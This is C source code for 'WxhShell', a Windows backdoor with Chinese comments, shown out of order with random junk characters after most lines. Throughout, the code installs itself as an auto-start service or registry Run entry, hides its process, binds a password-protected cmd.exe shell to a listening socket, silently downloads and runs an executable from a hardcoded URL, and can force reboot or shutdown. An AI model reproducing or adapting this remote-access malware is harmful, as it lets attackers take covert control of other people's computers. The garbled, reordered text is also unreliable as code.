    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X,y$!2QI  
    if(Boot(SHUTDOWN)) %'g/4I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $mlsFBd  
    else { X='4 N<  
    closesocket(wsh); !. 0W?6yo  
    ExitThread(0); IloHU6h'  
    } ;nh7Elk  
    break; |#-Oz#Eg'  
    } UI!EIZ*~  
  // 获取shell G53!wIW2:  
  case 's': { B"Fg`s+]U  
    CmdShell(wsh); -C8awtbC  
    closesocket(wsh); G 8NSBaZe  
    ExitThread(0); X;6X K$"  
    break; _')KDy7  
  } As)-a5!  
  // 退出 ,%,}[q?]d  
  case 'x': { bjvi`jyL3k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wkIH<w|jb  
    CloseIt(wsh); P}VD}lEyO  
    break; ^ )+tn  
    } el[6E0!@  
  // 离开 w\@Anwj#L  
  case 'q': { ^3r2Q?d\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z ,ledTl  
    closesocket(wsh); a(J~:wgd  
    WSACleanup(); oa9T3gQ?  
    exit(1); \7/xb{z|  
    break; DAvAozM  
        } 9k *'5(D4S  
  } V'6%G:?0a  
  } G7),!Qol  
5k\61(*s  
  // 提示信息 kwyvd`J8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^T<<F}@q  
} /\=g;o'  
  } _Y~+ #Vc  
.79'c%3}  
  return; }2h~o~  
} YE^|G,]  
Ybok[5  
// shell模块句柄 6~2!ZU  
int CmdShell(SOCKET sock) $Z;0/\r%  
{ EL+}ab2S  
STARTUPINFO si; M@gm.)d  
ZeroMemory(&si,sizeof(si)); z{%G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W}Z|v M$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2smLv1w@  
PROCESS_INFORMATION ProcessInfo; : 0%V:B  
char cmdline[]="cmd"; ( E0be.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k@wxN!w;  
  return 0; 3-Ti'xM  
} .IYE"0)wJ  
'7E?|B0],  
// 自身启动模式 @,s[l1P  
int StartFromService(void) |9(uiWf  
{ 4W1"=VL[g  
typedef struct |\b*p:e l  
{ K(Cv9YQ  
  DWORD ExitStatus; /[us;=CM  
  DWORD PebBaseAddress; $I tehy  
  DWORD AffinityMask; my*/MC^O  
  DWORD BasePriority; k'S/nF A  
  ULONG UniqueProcessId; bx5X8D  
  ULONG InheritedFromUniqueProcessId; M/#<=XhA  
}   PROCESS_BASIC_INFORMATION; [1Vh3~>J6  
un..UU4  
PROCNTQSIP NtQueryInformationProcess; W/&cnp\  
OP>'<FK   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fwOvlD&e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ] ^.#d  
jLZ~9FXF2  
  HANDLE             hProcess; \a}%/_M\  
  PROCESS_BASIC_INFORMATION pbi; ffSecoX  
Rr:,'cXGi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z!ub`coV[  
  if(NULL == hInst ) return 0; 0h#' 3z<  
Gh@QR`xxc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c"fnTJXr79  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M#2DI?S@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mb+cXdZb  
Blf;_e~=[j  
  if (!NtQueryInformationProcess) return 0; j4Lf6aUOX  
y=q\1~]Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )TV'eq  
  if(!hProcess) return 0; QDyL0l{C  
nC2A&n&>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :}j{NM#  
J;G+6C$:  
  CloseHandle(hProcess); dx:],VB  
4GaF:/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p+A#t~K  
if(hProcess==NULL) return 0; $7lI Dt  
Nno*X9>~  
HMODULE hMod; )Ibp%'H  
char procName[255]; ]JtK)9  
unsigned long cbNeeded; :uqsRFo&4  
V~ZAs+(2Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bm.%bA>  
&|55:Y87  
  CloseHandle(hProcess); 5H>[@_u+:  
l*/I ; a$  
if(strstr(procName,"services")) return 1; // 以服务启动 @@_f''f$  
@Vc*JEW  
  return 0; // 注册表启动 H}X3nl\]  
} 6x6PP}IX  
`&j5/[>v  
// 主模块 ?!8M I,c/  
int StartWxhshell(LPSTR lpCmdLine) r1xN U0A  
{ V[A uw3)  
  SOCKET wsl; NtSa# $A  
BOOL val=TRUE; )CEfG  
  int port=0; ~x`OCii  
  struct sockaddr_in door; `0Qzu\gRb  
k6. }.  
  if(wscfg.ws_autoins) Install(); pT.iQ J|  
gHA"O@HgDI  
port=atoi(lpCmdLine); WOR~tS  
V% psaT=)P  
if(port<=0) port=wscfg.ws_port; g/'MECB  
RCo!sZP}  
  WSADATA data; %Q rf ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <<Ut@243\  
(*BQd1Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KR%DpQ&{'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @'s^  
  door.sin_family = AF_INET; -AJe\ J 2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 591Syyy  
  door.sin_port = htons(port); "{j4?3f)  
$#8dtF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .[ NB"\<q  
closesocket(wsl); `/8Dmg  
return 1; %fo+Y+t  
} !A,]  
|Fm(  
  if(listen(wsl,2) == INVALID_SOCKET) { $62!R]C9\  
closesocket(wsl); O}"VK  
return 1; pQ!NhzQ  
} [n44;  
  Wxhshell(wsl); M)#aX|%Mh  
  WSACleanup(); -]\UFR  
v:nm#P%P  
return 0; ;1A4p`)  
yk,o*g  
} 8dNwi&4  
7q^o sOj"  
// 以NT服务方式启动 y08.R. l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S{zi8Oc6  
{ :4;ZO~eq!  
DWORD   status = 0; F /IXqj  
  DWORD   specificError = 0xfffffff; B{PI&a9~s%  
M6[&od  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OV_Y`u7YR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nK)U.SZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `rN,*kcP  
  serviceStatus.dwWin32ExitCode     = 0; I>B-[QEC  
  serviceStatus.dwServiceSpecificExitCode = 0; 4U*J{''L  
  serviceStatus.dwCheckPoint       = 0; 2I* 7?`  
  serviceStatus.dwWaitHint       = 0; Q &<:W4N*  
540-lMe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d dkh*[  
  if (hServiceStatusHandle==0) return; 67wY_\m9I  
?<STt 9  
status = GetLastError(); 4#1[i|:M  
  if (status!=NO_ERROR) MuQyHEDF  
{ uckag/tv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6*J`2U9Q  
    serviceStatus.dwCheckPoint       = 0; 3pl/k T.\  
    serviceStatus.dwWaitHint       = 0; P4-`<i]!S  
    serviceStatus.dwWin32ExitCode     = status; q;3.pRw(  
    serviceStatus.dwServiceSpecificExitCode = specificError; N0,wT6.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BxS\ "W  
    return; ]Nz~4ebB  
  } Mk Er|w'  
<Wn={1Ts"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7F!_gj p  
  serviceStatus.dwCheckPoint       = 0; xT6&;,|`  
  serviceStatus.dwWaitHint       = 0; wt0^R<28  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B"ZW.jMaI  
} .DiH)  
AKk6kI8F  
// 处理NT服务事件,比如:启动、停止 ~ODm?k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mEyJ o|  
{ x DD3Y{ K  
switch(fdwControl) /g BB  
{ d!mtSOh  
case SERVICE_CONTROL_STOP: ms@*JCL!t  
  serviceStatus.dwWin32ExitCode = 0; ^V#9{)B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FAkjFgUJp  
  serviceStatus.dwCheckPoint   = 0; Ue^2H[zs-  
  serviceStatus.dwWaitHint     = 0; ~za=yZo7(  
  { ?mU 3foa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OOA %NKV  
  } 7 p}J]!Z  
  return; ^1^k<  
case SERVICE_CONTROL_PAUSE: :L*"OT7(6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Drs=7w  
  break; QV,X> !Nz  
case SERVICE_CONTROL_CONTINUE: 'Alt+O_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J6r"_>)z  
  break; bw\fKZ  
case SERVICE_CONTROL_INTERROGATE: &MKG#Y}  
  break; 1D%3|_id^  
}; 5 0uYU[W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M0zJGIT~b  
} ofH=h  
^m8T$^z>  
// 标准应用程序主函数 :iqFC >D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &7"a.&*9xX  
{ /T1z z2l~  
 yV[9 (  
// 获取操作系统版本  AV{3f`  
OsIsNt=GetOsVer(); 7N9~nEU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #-*7<wN   
sLrSi  
  // 从命令行安装 Z M_ 6A1  
  if(strpbrk(lpCmdLine,"iI")) Install(); *5?a% p  
RZ 4xR  
  // 下载执行文件 {G$I|<MD2T  
if(wscfg.ws_downexe) { K(@QKRZ7[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D1]%2:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?@8[1$1a  
} q_S`@2Dzz,  
S81Z\=eK  
if(!OsIsNt) {  O_^O1  
// 如果时win9x,隐藏进程并且设置为注册表启动 b~dm+5W7  
HideProc(); mC OJ1}  
StartWxhshell(lpCmdLine); uTgBnv(Y*  
} f'P}]_3(  
else =2!AK[KxX  
  if(StartFromService()) H EdOo~/~  
  // 以服务方式启动 `2`Nu:r^  
  StartServiceCtrlDispatcher(DispatchTable); m}/LMY  
else B w?Kb@  
  // 普通方式启动 x}o]R  
  StartWxhshell(lpCmdLine); l}odW  
|:yQOq|  
return 0; k.=67L  
} =+;1^sZ  
-wv5c  
#vh1QV!Ho  
=Lx*TbsFYt  
=========================================== LoZ8;VU  
m| 8%%E}d  
$Gt1T[:QUX  
D>"U0*h  
*I,3,zO  
`~|8eKFq!  
" pgT XyAP{  
U7O]g'BP  
#include <stdio.h> 6&V4W"k  
#include <string.h> j$r.&,m  
#include <windows.h> B198_T!  
#include <winsock2.h> +bK[3KG4F5  
#include <winsvc.h> f5D.wSY  
#include <urlmon.h> KY'"Mg^!  
18JhC*in  
#pragma comment (lib, "Ws2_32.lib") 0_b7*\xc  
#pragma comment (lib, "urlmon.lib") ;4. D%  
<K4`GT"n  
#define MAX_USER   100 // 最大客户端连接数 09?n5x!6  
#define BUF_SOCK   200 // sock buffer Yas!w'  
#define KEY_BUFF   255 // 输入 buffer K8E:8`_cx  
~@ a7RiE@  
#define REBOOT     0   // 重启 @?ntMh6  
#define SHUTDOWN   1   // 关机 q@ !p  
VesW7m*z  
#define DEF_PORT   5000 // 监听端口 s)Sa KE*d  
+SCUS]  
#define REG_LEN     16   // 注册表键长度 7+] T}4;  
#define SVC_LEN     80   // NT服务名长度 T3 xr Ua&  
`< 8Fc`;[  
// 从dll定义API BOqq=WY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d bU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h.0Y!'?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XvBEC_xWZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V+M2Gf  
"o#N6Qu71  
// wxhshell配置信息 -f?Rr:#  
struct WSCFG { B@!a@0,,_  
  int ws_port;         // 监听端口 ]:TX> X!  
  char ws_passstr[REG_LEN]; // 口令 ),`MAevp  
  int ws_autoins;       // 安装标记, 1=yes 0=no bqY}t. Y&"  
  char ws_regname[REG_LEN]; // 注册表键名 0 [6llcuj  
  char ws_svcname[REG_LEN]; // 服务名 Fs_,RXW"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Ie~zZE&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *8k`m)h26  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f M 8kS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BcV;EEi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yh/-6wg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $$YLAgO4  
4/D ~H+k  
}; v8g3]MVj3  
Q"c!%`\  
// default Wxhshell configuration -eAo3  
struct WSCFG wscfg={DEF_PORT, L^PZ\OC  
    "xuhuanlingzhe", K]dqK'  
    1, PZ69aZ*Gs  
    "Wxhshell", t!^FWr&  
    "Wxhshell", [;B_ENV  
            "WxhShell Service", 9/C0DDb  
    "Wrsky Windows CmdShell Service", j}YZl@dYV  
    "Please Input Your Password: ", rN? L8  
  1, -F,o@5W>Y  
  "http://www.wrsky.com/wxhshell.exe", U,/NygB~  
  "Wxhshell.exe" R`=IYnoOA  
    }; ^5vFF@to  
2L.UEAt  
// 消息定义模块 %Fb"&F^7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 .DJR Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g-xbb&]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;@K,>$ur-  
char *msg_ws_ext="\n\rExit."; G[u_Uu=>  
char *msg_ws_end="\n\rQuit."; Q(m} Sr4  
char *msg_ws_boot="\n\rReboot..."; G 8|[.n  
char *msg_ws_poff="\n\rShutdown..."; AG) N^yd  
char *msg_ws_down="\n\rSave to "; [:$j<}UmB  
/b@0HL?  
char *msg_ws_err="\n\rErr!"; s<0yQ-=.?N  
char *msg_ws_ok="\n\rOK!"; Vja' :i  
FVLXq0<Cj  
char ExeFile[MAX_PATH]; L]0+ u\(  
int nUser = 0; SqY;2:  
HANDLE handles[MAX_USER]; k1 >%wR  
int OsIsNt; {npKdX  
aA%$<ItH  
SERVICE_STATUS       serviceStatus; >rlQY>5pH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "%ag^v9  
L.(T"`-i  
// 函数声明 Y">tfLIL_  
int Install(void); |w[}\#2  
int Uninstall(void); R@>R@V>c  
int DownloadFile(char *sURL, SOCKET wsh); [a;lYsOsJ  
int Boot(int flag); ~bT0gIc  
void HideProc(void); hXS'*vO"  
int GetOsVer(void); bf3LNV|  
int Wxhshell(SOCKET wsl); Q3%a=ba)h  
void TalkWithClient(void *cs); #c4LdZu9  
int CmdShell(SOCKET sock); ;3\F b3d  
int StartFromService(void); Szi4M&!K  
int StartWxhshell(LPSTR lpCmdLine); f4s[R0l  
QHr 3J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DLyHC=%{+h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @&+h3dV.V  
?t)y/@eG  
// 数据结构和表定义 x=1G|<z%  
SERVICE_TABLE_ENTRY DispatchTable[] = 8+a/x#b-  
{ 4q@o4C<0  
{wscfg.ws_svcname, NTServiceMain}, b7v] g]*  
{NULL, NULL} nL^6{I~  
}; 5:|5NX[.b  
MS^,h>KI  
// 自我安装  9 N=KU  
int Install(void) [gzU / :  
{ UE7 P =B  
  char svExeFile[MAX_PATH]; D]y6*Ha  
  HKEY key; } 3:TPW5S  
  strcpy(svExeFile,ExeFile); psRm*,*O  
y5a^xRDw  
// 如果是win9x系统,修改注册表设为自启动 EN.yU!N.4  
if(!OsIsNt) { lGG1d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  g/+M&k$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l@1f L%f  
  RegCloseKey(key); sLbz@54  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { toTAWT D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /dOQ4VA\  
  RegCloseKey(key); y(.WK8  
  return 0; !::k\}DS  
    } pY=?r{@  
  } &%u,b~cL?  
} |BH, H  
else { k`)LO`))  
C==tJog[  
// 如果是NT以上系统,安装为系统服务 3Un/-4uL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F]yclXf('  
if (schSCManager!=0) /UyW&]nK  
{ n4."}DO  
  SC_HANDLE schService = CreateService "G6d'xkP  
  ( idO3/>R [  
  schSCManager, G&C)`};  
  wscfg.ws_svcname, ?2EzNNcS  
  wscfg.ws_svcdisp, GU&XK7L  
  SERVICE_ALL_ACCESS, U\VwJ2 {i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }r^MXv~(  
  SERVICE_AUTO_START, I]SR.Yp%  
  SERVICE_ERROR_NORMAL,  vA`[#(C  
  svExeFile, 5tq$SF42X  
  NULL, MiRH i<g0  
  NULL, \TMRS(  
  NULL, <S$y=>.9  
  NULL, w5n>hz_5  
  NULL nj7Ri=lyS  
  ); Z/-%Eb]L1  
  if (schService!=0) \ vJ*3H6  
  { Bl`e+&b  
  CloseServiceHandle(schService); T82=R@7  
  CloseServiceHandle(schSCManager); SmR*b2U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vMRKs#&8  
  strcat(svExeFile,wscfg.ws_svcname); 2DV{gF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3'/wRKl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) ]~HjA;  
  RegCloseKey(key); %< j=&  
  return 0; kI[EG<N1k  
    } bjT0Fi0-  
  } }_?7k0EZ@  
  CloseServiceHandle(schSCManager); BMX x(W]  
} &OzJ^G\o  
} M$&>"%Oi  
:cynZab  
return 1; :He:Bdk  
} /=r&9P@Ay<  
\17)=W  
// 自我卸载 n.1a1Tf  
int Uninstall(void)  &R^mpV5  
{ _R-#I  
  HKEY key; HKxrBQr78  
UVI=&y]c,p  
if(!OsIsNt) { n,HWVo>([  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~{NDtB)  
  RegDeleteValue(key,wscfg.ws_regname); UT{N ly8u  
  RegCloseKey(key); pwZ &2&|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A(s/Nz>  
  RegDeleteValue(key,wscfg.ws_regname); T2(+HI2  
  RegCloseKey(key); ]iNSa{G  
  return 0; v#/,,)m  
  } uPo>?hpq+  
} n--`zx-['  
} RgRcW5VxK  
else { M]_vb,=1  
z.H`a+cl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qob!!A14p  
if (schSCManager!=0) Bf* F ^  
{ SfR!q4b=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pEaH^(I*  
  if (schService!=0) }oU&J81  
  { S7SPc   
  if(DeleteService(schService)!=0) { (6A{6_p  
  CloseServiceHandle(schService); rpXw 8  
  CloseServiceHandle(schSCManager); rvfl~<G*  
  return 0; Z'j<wRf  
  } *l9Y]hinq  
  CloseServiceHandle(schService); d*AV(g#B  
  } 1)Ag|4  
  CloseServiceHandle(schSCManager); hOC,Eo  
} vcSS+  
} >qgBu_  
#UI`G3w<  
return 1; }}xR?+4A  
} -OW$  
~,guw7F  
// 从指定url下载文件 "yz@LV1  
int DownloadFile(char *sURL, SOCKET wsh)  9q5[W=|  
{ .s9Iymz  
  HRESULT hr; $fn^i.  
char seps[]= "/"; 4C[gW  
char *token; d)AkA\neWo  
char *file; pKJ[e@E^  
char myURL[MAX_PATH]; SwL\=nq+~  
char myFILE[MAX_PATH]; EXi+pm  
q_K1L  
strcpy(myURL,sURL); 2>r.[  
  token=strtok(myURL,seps); @6Mo_4)O  
  while(token!=NULL) r\1*N.O3|O  
  { TDseWdA  
    file=token; DxD0iJ=W  
  token=strtok(NULL,seps); FG(`&S+,  
  } V,"'k<y  
ynd}w G'  
GetCurrentDirectory(MAX_PATH,myFILE); oy'+n-  
strcat(myFILE, "\\"); YS~x-5OE\  
strcat(myFILE, file); }v!6BU6<Q  
  send(wsh,myFILE,strlen(myFILE),0); 0qZ)$ YKq  
send(wsh,"...",3,0); g[n8N{s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lr~K3nb  
  if(hr==S_OK) ?t"PawBWE  
return 0; (Zn\S*_@/  
else INT2i8oU  
return 1; e8#3Y+Tc  
\r 2qH0B  
} 2u:j6ic  
Ue7W&N^E  
// 系统电源模块 4~/6d9f  
int Boot(int flag) tv{.iM|V c  
{ t5qAH++axN  
  HANDLE hToken; s [!SG`&  
  TOKEN_PRIVILEGES tkp; j AE0$u~.  
,jWd?-NH  
  if(OsIsNt) { X>4`{x`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .G]# _U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gdT_kb5HL8  
    tkp.PrivilegeCount = 1; vP2QAGk <  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !L _ SHlU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I6fpXPP).  
if(flag==REBOOT) { -a[{cu{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >tzXbmFp;  
  return 0; _7;^od=C  
} #+G2ZJxL|  
else { P:TpB6.=q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qw/{o:ce]  
  return 0; 00p 7sZU^  
} Ed-gYL^<  
  } {Vm36/a  
  else { i<?4iwX%i*  
if(flag==REBOOT) { 6. jZy~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hn~1x'$  
  return 0; 6b|`[t  
} E~P 0}'  
else { a< EC]-nw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uu+C<j&-  
  return 0; M&FuXG%  
} |gz ,Ip{  
} SDwSlwf  
bij?q\  
return 1; s*f.` A*)  
} 12a #]E  
(`u!/  
// win9x进程隐藏模块 B`aAvD`7  
void HideProc(void) }}_uN-m  
{ k ))*z FV  
;`B35K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4:']'E  
  if ( hKernel != NULL ) xNkY'4%  
  { (0Cszm.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hl:eF:'hm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4QNR_w  
    FreeLibrary(hKernel); ->8q, W2A  
  } pxx(BE  
r\d:fot  
return; clw91yrQn  
} 'qJ-eQ7e  
02[II_< 1  
// 获取操作系统版本 R!,)?j;  
int GetOsVer(void) gxM8IQ  
{ "~<~b2Y"5  
  OSVERSIONINFO winfo; jVIpbG4 4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gpWS_Dw9  
  GetVersionEx(&winfo); njMy&$6a##  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~P_kr'o  
  return 1; ]Qr8wa>Z  
  else ;l()3;  
  return 0; LDeVNVM  
} GJs[m~`8#  
c!Vc_@V,  
// 客户端句柄模块 J36@Pf]h  
int Wxhshell(SOCKET wsl) S(i(1Hs.  
{ )y W_O:  
  SOCKET wsh; hhAC@EGG  
  struct sockaddr_in client; M[u3]dN  
  DWORD myID; 4d G-  
"S`wwl  
  while(nUser<MAX_USER) ZPao*2xz  
{ MPn>&28"|K  
  int nSize=sizeof(client); Rk%M~D*-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +3>/,w(x  
  if(wsh==INVALID_SOCKET) return 1; x 5Dt5Yp"o  
{Ch"zuPX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F |81i$R  
if(handles[nUser]==0) +c`C9RXk  
  closesocket(wsh); 2TEeP7  
else K)&XQ`&  
  nUser++; 8$UZL  
  } vw] D{OBv*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tQ JH'YV  
[V, ;X  
  return 0; :s '"u]  
} (B,t 1+%  
*u'`XRJU/  
// 关闭 socket Wmxw!   
void CloseIt(SOCKET wsh) jA4v?(AO}#  
{ $L8s/1up  
closesocket(wsh); BJxm W's/  
nUser--; J7;n;Mx  
ExitThread(0); V C'-h~  
} !a(qqZ|s  
0Y*gJ!a  
// 客户端请求句柄 {mnSTL`  
void TalkWithClient(void *cs) dG>Wu o  
{ f^sb0nU  
HcVs(]tIW  
  SOCKET wsh=(SOCKET)cs; EJaaW&>[  
  char pwd[SVC_LEN]; L_ qv<iM$  
  char cmd[KEY_BUFF]; RK:sQWG  
char chr[1]; /{ MH'  
int i,j; efkie}  
n3g WM C  
  while (nUser < MAX_USER) { lkWeQ)V  
((>3,%B`  
if(wscfg.ws_passstr) { x ETVt q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R 4QwWSBJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e=)* O  
  //ZeroMemory(pwd,KEY_BUFF); ZX6=D>)u  
      i=0; _AHB|P I  
  while(i<SVC_LEN) { 3KFrVhB=  
*Gh8nQbh  
  // 设置超时 ajW$d!  
  fd_set FdRead; i^cM@?  
  struct timeval TimeOut; t>GLZzO  
  FD_ZERO(&FdRead); 'a/6]%QFd!  
  FD_SET(wsh,&FdRead); YZ:'8<  
  TimeOut.tv_sec=8; m\Fb ,  
  TimeOut.tv_usec=0; 5`'au61/2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T{{AZV"pB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MY*>)us\  
obc^<ZD]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~K#_'Ldrd  
  pwd=chr[0]; 4f[M$xU&h  
  if(chr[0]==0xd || chr[0]==0xa) { %3#I:>si  
  pwd=0; LOUKUReE  
  break; $17 v,  
  } 4U a~*58  
  i++; B0XBI0w^Y  
    } WlRZ|.  
&T/q0bwd  
  // 如果是非法用户,关闭 socket ^_S-s\DW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;7^j-6  
} }Oh'YX#[  
(:bCOEZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *ez~~ Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '"fU2M<.  
nP{sCH 1  
while(1) { Z=Y_;dS9  
q,,>:]f#  
  ZeroMemory(cmd,KEY_BUFF); $s(4?^GP  
qTa]th;  
      // 自动支持客户端 telnet标准   lp0T\ %  
  j=0; ]7R&m)16  
  while(j<KEY_BUFF) { yH"$t/cU"R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i&'^9"Z)O  
  cmd[j]=chr[0]; [F V=@NI  
  if(chr[0]==0xa || chr[0]==0xd) { ':2*+  
  cmd[j]=0; U>B5LU9&  
  break; k5%0wHpk=  
  } MV;Y?%>  
  j++; GKsL~;8"  
    } )bCG]OM7<  
Rw ao5l=x  
  // 下载文件 >&Ui*  
  if(strstr(cmd,"http://")) { -}qGb}F8!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bR8 HGH28  
  if(DownloadFile(cmd,wsh)) pGbFg&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v!{'23`87  
  else 7~l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;aK !eD$  
  } L3=YlX`UL  
